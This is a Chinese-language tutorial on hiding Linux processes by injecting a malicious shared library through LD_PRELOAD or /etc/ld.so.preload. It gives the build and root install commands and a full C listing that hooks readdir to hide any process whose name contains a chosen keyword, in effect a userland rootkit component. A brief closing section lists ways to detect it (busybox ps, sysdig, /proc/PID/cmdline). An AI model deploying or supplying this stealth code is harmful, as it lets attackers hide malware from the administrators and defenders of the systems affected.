linux隐藏进程-预加载库或lib劫持

Delina

原文链接：linux隐藏进程-预加载库或lib劫持
​
劫持lib库方式隐藏进程
原理解析：利用环境变量LD_PRELOAD或者配置ld.so.preload文件使的恶意的动态库先于系统标准库加载，以达到架空系统标准库中相关函数的目的，最终实现对特定进程的隐藏。
实现通过劫持lib库隐藏进程
这里参考：
https://github.com/gianlucaborello/libprocesshider ，英文教程
https://www.anquanke.com/post/id/226285
首先下载环境
git clone git@github.com:gianlucaborello/libprocesshider.git
cd libprocesshider-master自定义过滤函数
编辑 processhider.c，根据需要过滤的程序名称，修改process_to_filter变量值。这里需要注意下，这里匹配的是程序运行时候显示的名字，如果要使用python运行的话，这里应该填写的是python，python3同理。这里填写evil_script.py那么执行的时候就应该使用./方式执行，这样程序名为evil_script.py才会匹配并过滤。

1. ......
   
2. /*
   
3. * Every process with this name will be excluded
   
4. */
   
5. static const char* process_to_filter = "evil_script.py";
   
6. 
   
7. ......

复制代码

配置环境

1. parallels@ubuntu:~/Documents/libprocesshider-master$ make
   
2. gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
   
3. parallels@ubuntu:~/Documents/libprocesshider-master$ sudo mv libprocesshider.so /usr/local/lib/
   
4. sudo -i 进入管理员权限
   
5. root@ubuntu:/home/parallels/Documents/libprocesshider-master# echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

复制代码

​
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
cat /etc/ld.so.preload​
测试ps是否会访问预加载，发现是加载了。
strace -f ps 2>&1 |grep ld.so.preload
​
这里注意需要./执行evil_script.py, 进程名才会被过滤，如果想使用python执行，那么前面processhider.c需要关键字设置为python。
然后ps查询，程序名称已被过滤。
​
当然这里也可以进行改进，我们在另外研究。如豪宝改的通过关键字检索并用于过滤进程，匹配关键字的进程隐藏。这段代码可以在这里查看更多细节 https://github.com/ghostsang/Learning-library

1. # define _GNU_SOURCE
   
2. 
   
3. # include <stdio.h>
   
4. # include <dlfcn.h>
   
5. # include <dirent.h>
   
6. # include <string.h>
   
7. # include <unistd.h>
   
8. 
   
9. /*
   
10. * Every process with this name will be excluded
    
11. */
    
12. static const char* process_to_filter = "script";
    
13. 
    
14. /*
    
15. * Get a directory name given a DIR* handle
    
16. */
    
17. static int get_dir_name(DIR* dirp, char* buf, size_t size)
    
18. {
    
19.     int fd = dirfd(dirp);
    
20.     if(fd == -1) {
    
21.         return 0;
    
22.     }
    
23. 
    
24.     char tmp[64];
    
25.     snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
    
26.     ssize_t ret = readlink(tmp, buf, size);
    
27.     if(ret == -1) {
    
28.         return 0;
    
29.     }
    
30. 
    
31.     buf[ret] = 0;
    
32.     return 1;
    
33. }
    
34. 
    
35. /*
    
36. * Get a process name given its pid
    
37. */
    
38. static int get_process_name(char* pid, char* buf)
    
39. {
    
40.     if(strspn(pid, "0123456789") != strlen(pid)) {
    
41.         return 0;
    
42.     }
    
43. 
    
44.     char tmp[256];
    
45.     snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
    
46. 
    
47.     FILE* f = fopen(tmp, "r");
    
48.     if(f == NULL) {
    
49.         return 0;
    
50.     }
    
51. 
    
52.     if(fgets(tmp, sizeof(tmp), f) == NULL) {
    
53.         fclose(f);
    
54.         return 0;
    
55.     }
    
56. 
    
57.     fclose(f);
    
58. 
    
59.     int unused;
    
60.     sscanf(tmp, "%d (%[^)]s", &unused, buf);
    
61.     return 1;
    
62. }
    
63. 
    
64. static void Next(const char* T,int *next){
    
65.     int i=1;
    
66.     next[1]=0;
    
67.     int j=0;
    
68.     while (i<strlen(T)) {
    
69.         if (j==0||T[i-1]==T[j-1]) {
    
70.             i++;
    
71.             j++;
    
72.             next[i]=j;
    
73.         }else{
    
74.             j=next[j];
    
75.         }
    
76.     }
    
77. }
    
78. static int KMP(char * S,const char* T){
    
79.     int next[10];
    
80.     Next(T,next);
    
81.     int i=1;
    
82.     int j=1;
    
83.     while (i<=strlen(S)&&j<=strlen(T)) {
    
84.         if (j==0 || S[i-1]==T[j-1]) {
    
85.             i++;
    
86.             j++;
    
87.         }
    
88.         else{
    
89.             j=next[j];
    
90.         }
    
91.     }
    
92.     if (j>strlen(T)) {
    
93.         return i-(int)strlen(T);
    
94.     }
    
95.     return -1;
    
96. }
    
97. 
    
98. 
    
99. # define DECLARE_READDIR(dirent, readdir)                                \
    
100. static struct dirent* (*original_## readdir)(DIR*) = NULL;               \
     
101.                                                                         \
     
102. struct dirent* readdir(DIR *dirp)                                       \
     
103. {                                                                       \
     
104.     if(original_## readdir == NULL) {                                    \
     
105.         original_## readdir = dlsym(RTLD_NEXT, # readdir);               \
     
106.         if(original_## readdir == NULL)                                  \
     
107.         {                                                               \
     
108.             fprintf(stderr, "Error in dlsym: %s\n", dlerror());         \
     
109.         }                                                               \
     
110.     }                                                                   \
     
111.                                                                         \
     
112.     struct dirent* dir;                                                 \
     
113.                                                                         \
     
114.     while(1)                                                            \
     
115.     {                                                                   \
     
116.         dir = original_## readdir(dirp);                                 \
     
117.         if(dir) {                                                       \
     
118.             char dir_name[256];                                         \
     
119.             char process_name[256];                                     \
     
120.             if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&        \
     
121.                 strcmp(dir_name, "/proc") == 0 &&                       \
     
122.                 get_process_name(dir->d_name, process_name) &&          \
     
123.                 KMP(process_name, process_to_filter)!=-1) {         \
     
124.                 continue;                                               \
     
125.             }                                                           \
     
126.         }                                                               \
     
127.         break;                                                          \
     
128.     }                                                                   \
     
129.     return dir;                                                         \
     
130. }
     
131. 
     
132. DECLARE_READDIR(dirent64, readdir64);
     
133. DECLARE_READDIR(dirent, readdir);

复制代码

这里测试含有script的过滤，evil_script.py 成功被过滤掉了。
​
应对方式
1、busybox
busybox ps方式执行ps，可以不预加载库对于劫持lib场景有奇效。
busybox ps
​
2、sysdig
还可以通过

1. sudo sysdig -c topprocs_cpu     # 查看cpu进程占用情况
   
2. sudo sysdig proc.name contains evil_script   # 针对包含evil_script的进程监测
   
3. # 监测网络情况
   
4. sudo sysdig -c topprocs_net
   
5. sudo sysdig -c topconns

复制代码

​
​
3、/proc/PID/cmdline
​
​